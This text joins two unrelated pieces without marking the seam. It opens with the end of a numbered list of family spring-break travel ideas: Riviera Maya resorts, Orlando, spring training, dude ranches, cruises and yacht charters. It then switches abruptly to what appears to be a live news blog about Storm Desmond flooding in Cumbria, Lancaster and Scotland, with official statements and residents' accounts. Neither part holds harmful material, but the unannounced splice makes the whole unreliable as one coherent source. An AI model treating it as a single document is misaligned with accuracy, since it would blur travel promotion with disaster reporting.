Check out the Azul Sensatori, the new Villa del Parmar Cancun–which offers fully equipped kitchens and deeply discounted all-inclusive rates through the end of April, and Occidental Grand Xcaret–with hands-on activities to encourage families to engage with and learn about the environment. The hotel offers a turtle tip program in which guests can participate in the liberation of baby turtles; an Xcaret eco-path designed especially for children. You can opt for a condo hotel right in the fishing and tourist town of Playa del Carmen. Try Condo Hotels Playa del Carmen with five boutique luxury properties, located right next to each other and by the sugary white sand beach. If you are looking for luxury, try one of the four Velas resorts, where you can experience all inclusive deals with beautiful ocean views, a spa, golf course s and gourmet meals. Hacienda Tres Rios: A green resort in the Mexico's Riviera Maya, is offering a special spring travel promotion, where you can stay at almost 50% off normal prices.
19. ORLANDO BOUND So many families come to Orlando for Spring Break—2.6 million visitors in March and April–that you'll see more kids here than any time of year except the summer. And it won't be nearly as hot. TheMagicard offer discounts on everything from attractions to accommodations and restaurants. Check out www.mousesavers.com for deals on all things Disney. And, explore outside Orlando. An hour south is the "Space Coast" with the Kennedy Space Center, which offers a space camp and a number of picturesque beaches and nature refuges. Holiday Inn Club Vacations is offering more space, more amenities and more things to do this Spring Break. If you book your stay early, you can save 30%! Kids will love the water playground and putt-putt golf.
20. PLAY BALL! Cheer on your favorite teams at spring training games in Florida and Arizona. Look for deals like at the InterContinental Tampa, which is close to George Steinbrenner's Legends Field. You'll find special packages close to every stadium—and plenty to do when the games are done.
21. RANCH Your kids might never look at chores the same way again, once they've pitched in at a place like the Rockin' R Ranch in Utah, an authentic cattle ranch where besides riding they can try their hand at barrel racing, archery, roping, and more. Not only won't you have to worry about entertaining the kids, you won't have to worry about feeding them either because all the meals are included. There are plenty of other ranch options too, with many opening mid-spring, according to the Dude Ranchers' Association. Check out the new website from a Montana mom who was raised on a ranch and is raising her kids on a ranch — www.Top50ranches.com — which focuses on top riding experiences at ranches in the U.S. and abroad. My gang loved Vista Verde Ranch in Steamboat Springs, CO.
22.SAIL AWAY Cruises are good bets for families whether the kids are preschoolers (organized activities!) or teens (all they can eat! A safe place to roam!) Some ships like Disney Cruise Line even have day care for infants.) You can cruise from more than two dozen U.S. ports (including New York, New Jersey, Galveston, TX and Los Angeles) which means you can avoid flights. Go for three days or a week. Invite grandma and grandpa along. Mega ships like Norwegian's Epic and Royal Caribbean's Oasis and Allure offer something for every age group. And it's not too late to snare a deal. Check websites like www.cruisecompete.com for good deals and www.cruisemates.com for a family cruise guide. You can find a travel agent who is a cruise expert at www.cruising.org.
23.SAIL YOURSELF AWAY Moorings or Sunsail are among the companies through which you can charter a yacht with or without a captain for a high-seas family vacation. Consider the British Virgin Islands, acknowledged as among the best boating destinations in the world, where you are rarely out of site of land. With a "Powercat", a family can cover a lot of ocean but there's always the option of dropping the anchor and going snorkeling, scuba, fishing, reading, or sunbathing! Another option is Mexico's Baja Peninsula near Cabo San Lucas and Baja California. The bodies of water include the Gulf of California and the Sea of Cortez, both with views of pristine beaches and beautiful mountain ranges.

In London, a 90-year-old man died on Saturday after it was believed he was blown into the path of a bus near Finchley Central station. Concerns are also growing over an incident at the River Kent and police are searching for the elderly male believed to have fallen in the water.

My colleague Helen Pidd, the Guardian's north of England editor, sent this dispatch from Lancaster:
Army trucks have been stationed at a hospital in Lancaster to act as ambulances after flooding cut the city off from the power grid and blocked all but one access route.
The Royal Lancaster infirmary (RLI) is running on generator power after an electricity substation flooded, cutting electricity to 55,000 homes and businesses in Lancaster, Morecambe, Carnforth and the surrounding areas.
Outside the hospital's A&E department, troops from a battalion at Weeton barracks, near Blackpool, were on standby to pick up seriously ill patients in camouflage trucks if normal ambulances were unable to.
On Sunday morning, soldiers moved one woman in a coma from the Victoria hospital in Morecambe to the RLI, after all the road bridges over the river Lune between Morecambe and Lancaster were shut due to flood damage. Currently the only way to cross between the two towns is via the Carlisle footbridge or a long detour on the M6.

Her report continues:
A crowd had gathered outside Sainsbury's by the river Lune where staff were handing out free baps and loaves of bread. James Melody, 20, and his girlfriend Esme Moxley, also 20, were happy to have got their hands on one brown loaf. "It's so weird to see people using phoneboxes. I wouldn't know how," said Melody.

I think the only time I've used one was when I was little, to do prank phone calls," said Moxley, who was wondering how she would get back to her home in Leeds, with no trains running north of Preston.
Elsewhere, the blitz spirit reigned. Outside his house on Greaves Road, teacher Piers Napper was cooking scrambled eggs on a camping stove. "I rescued it from the garage in the dark this morning," he said. "We're hoping the gas will last until we get power back."

The Scottish government's resilience committee met for a third time on Sunday to assess the impact of the flooding, the Press Association reports.
John Swinney, deputy first minister, said:
Over the last 24 hours, Scotland has faced torrential rain and severe winds. This has been most acute in the Borders, Dumfries and Galloway and Tayside, where some residents were evacuated and we know there has been some damage to property and infrastructure.
Experts will be at affected sites throughout the day, assessing damage and beginning repairs, Swinney said, adding:
However, although water levels are dropping, they remain very high and continued vigilance is needed. These water levels can in themselves be dangerous so I continue to urge people to pay heed to road closures and weather warnings, as well as any local advice provided by police or the fire service.

Marc Becker, hydrology duty manager at the Scottish Environment Protection Agency (Sepa), said:
This has been a particularly severe event with multiple parts of Scotland feeling the impacts of flooding. The outlook is improving, rivers have peaked and will be falling back through the rest of the day, giving us some respite.
"However, the impact of flooding with be with us for a while yet, although we're moving into a recovery phase. Areas of standing water will persist and so anyone travelling will need to remain vigilant.
Becker confirmed the latest severe weather event has seen some of the highest river flows for a considerable period of time:
The river Tay at Perth peaked at levels not seen since 2006 and the Teviot at Hawick was the second highest in 30 years of record. The Teith at Callander was the second-highest in a 45 year record. The team at SEPA are continuing to monitor the situation and watching river levels closely.
More rain on the way for flood-hit areas in Scotland
Forecasters warn that more rain is on the way in Scotland. Although a rare red weather alert that was in place for the region has been lifted, flood warnings remain for parts of the Borders and Dumfries and Galloway.
At the peak of the storm, around 300 homes were evacuated in Hawick as the River Teviot burst its banks
Properties in Newcastleton, Langholm, Annandale and Eskdale were also affected.
More than 100mm of rain fell in the area throughout Friday and Saturday, according to Met Office figures.
The River Tay in Perth was also closely monitored as it approach its highest level for a decade
A handful of homes were evacuated in Bridge of Earn and Blair Atholl on Saturday night.
The weather also brought widespread travel chaos with a series of landslides and road closures.
The Met Office is now warning of more rain this week with yellow weather alerts covering Tayside, Fife, Stratchclyde, the Borders and south west Scotland until Thursday.
A spokesman said:
A spell of persistent rain, heavy at times, is expect to affect parts of Scotland, northwestern England and Wales from Monday late afternoon or early evening onwards into Monday night.
The spokesman added while the rain will neither be as heavy nor as prolonged as recent rain, "please be aware that in view of the saturated nature of the ground and high river levels further localised flooding and disruption to transport is possible."
Friends of the Earth, a green campaign group, said in statement the devastating floods that have hit parts of the UK highlight the urgent need to boost defences and tackle climate change.
Guy Shrubsole, Friends of the Earth climate campaigner, said:
As climate negotiators fiddle in Paris, Britain floods.
Climate change is increasing the frequency of extreme rainfall and floods in the UK and around the world.
Yet the UK government is failing to protect us by not investing enough in flood defences and cutting support for the clean energy needed to tackle climate change.
He urged the prime minister to take action and said:
David Cameron must safeguard our security by bringing down emissions - and help poorer nations cope with increasingly extreme weather.
Their call for action on climate change comes ahead of next week's final week of negotiations at the UN Climate Summit in Paris.

Residents in northern England today woke up to wide-spread flooding after Storm Desmond wreaked chaos with strong winds and heavy rain overnight.
Thousands of homes have been flooded and left without electricity, causing the army to be drafted in and residents to be rescued and transported to safety. Here's the latest Guardian video:
UK flood-hit areas
Here is a graphic from our visuals team that shows the worst affected flood areas this weekend and compared to 2009:
In his latest dispatch my colleague Mike Glover writes:
A bridge which carries the A592 over the northern end of Ullswater at Pooley Bridge collapsed, cutting another main route through Cumbria.
Hospitals at Lancaster and Carlisle have both lost power and are running on generators, which should last a few days.
Cumbria police, military, fire service, ambulance service and other agencies were continuing to treat Carlisle as a priority location in the county to warn and inform people of the situation regarding the flooded areas.
Properties remain under water in Carlisle, especially in the east of the city, which has been significantly affected. A limited supply of sandbags are available from the corner of Lismore Street and Aglionby Street for people to collect.
A priority for all agencies continues to be protecting the two substations in Carlisle. Over 4,000 properties are still without electricity and all areas in Carlisle are at significant risk of losing power.

Fears for elderly man believed to have fallen in Cumbria river
Fears are growing over the safety of an elderly man who police believe fell into a swollen river in Cumbria, in an incident we reported earlier.
Police are awaiting the arrival of the underwater search team to assist them with the search, local media has reported.
More on the Army being drafted in: About 350 army personnel have been made available from 2nd Battalion Duke of Lancaster's Regiment, based in Weeton barracks near Preston, to assist with the general flooding response since the early hours.

They arrived with two vehicles to help evacuate and warn residents in Carlisle – and also sent a Chinook helicopter to move high-velocity pumping equipment needed to attend to an electricity substation.
Streets near to where the river Petteril flows into the river Eden, close to the centre of Carlisle, had flooded as the tide came in and added to already torrential rainfall.
David Wildridge, his wife Melanie and children Maddie, 11, and Ayden, nine – carrying his teddy bear, had grabbed a few bags and their dog, Fletch, before being rescued by boat from their home in the centre of Carlisle, the Press Association reports.
Wildridge said emergency services were worried about a crack in a join between a flood defence wall and a bridge over the river Eden close to their home.

Our house is one of the last ones on the list, we've been taken away in the last half hour. We live very near to the bridge and the flood water in the house came up through the floor, about a foot of water. There's nothing you can do about it. We just took the advice of the rescuers and left.
Peter Brown had to leave his flooded house in the early hours of Sunday morning with his daughter, Rebecca, 15.
Brown, a lorry driver, said:
We got a knock on the door at 5.45am saying we will have to evacuate the premises.
I literally grabbed a few things, put valuables upstairs. You just watch while your house gets submerged.
We were going to put Christmas decorations up last night but I was too tired from work.
My living room and staircase is now under water.
We could watch the water creeping higher up the street until it got to our house.
I think if it wasn't for the flood defences it could have been a lot worse.
The amount of rainfall we have had is something like two months in the space of four hours.
Robert Reid, a sergeant in a junior army cadet organisation, had opened up their small hut near Warwick Road about 1am to serve cups of tea and soup to some 25 residents who had been evacuated throughout the night.
Reid said:
The chopper was up and the police sirens were blaring, they were going to houses getting people out.
He said some people were tearful and children were "hysterical" at having to leave their homes.
It's a devastating time to be flooded. It's 6 December, 19 days to Christmas and a lot of people have just lost their homes. They are devastated.
We just gave them tea and somewhere dry and warm and we were donated sandwiches by a local resident.
It's nice to see the local community coming together, people are donating tea and coffee and cup-a-soups.
Planned power outage in Carlisle
Electricity North West, the electricity distributors, has said in its latest update there will be planned power outages scheduled for Carlisle due to severe flooding.
The planned power cuts in Carlisle will happen at about 4pm today to "prevent 60,000 customers from losing power at once".
The region's network operator is removing supplies to 5,000 customers at a time for up to three hours, Electricity North West said.
Chris Fox, systems manager, said:
It is essential that we remove power to customers for a short period of time to prevent 60,000 customers being without power for a long period.
We tried everything we could to protect Carlisle, but unfortunately this is an unprecedented flooding event.
ElectricityNorthWest (@ElectricityNW)
We've restored power to 13,000 customers since #StormDesmond hit and here's the latest updates on customer numbers pic.twitter.com/iF2kLq4DuV
He added 55,000 customers are still without power in Lancaster after flood defences that were upgraded in 2010 to withstand a "one in 100 years" flood were breached just before 11pm on Saturday.
Emergency services in the north of England are becoming increasingly stretched, the Press Association reports. Soldiers have been deployed to support local emergency services by helping to move people from their homes in streets where cars have been almost entirely submerged.
West Midlands fire service has also sent firefighters and specialist equipment to the county and its control room staff are helping to answer the high number of calls from their Birmingham office.
There will be a lot of soggy biscuits as a leading biscuit manufacturer, the Carlisle United Biscuits factory, is believed to be flooded to a depth of 5ft – on par with levels reached during major floods in 2005 – and employees are being told to stay home until further notice.
Rory Stewart.
Rory Stewart, the Department for Environment, Food and Rural Affairs minister, said flooding in his constituency has been "the worst that anybody's experienced" and acknowledged water had "overtopped" existing flood defences.
He told BBC Radio 4's The World This Weekend:
We're going to look very, very carefully at all the defences up and down Cumbria for exactly that reason. This is a very extreme and unprecedented event, early indications suggest we've passed the UK record on rainfall in Cumbria.
Stewart, also the Tory MP for Penrith and the Border, said people in the area had shown "incredible community spirit" in the face of the rainfall.
More rainfall is forecast tomorrow in Cumbria, which had some of the most affected areas in the UK this weekend:
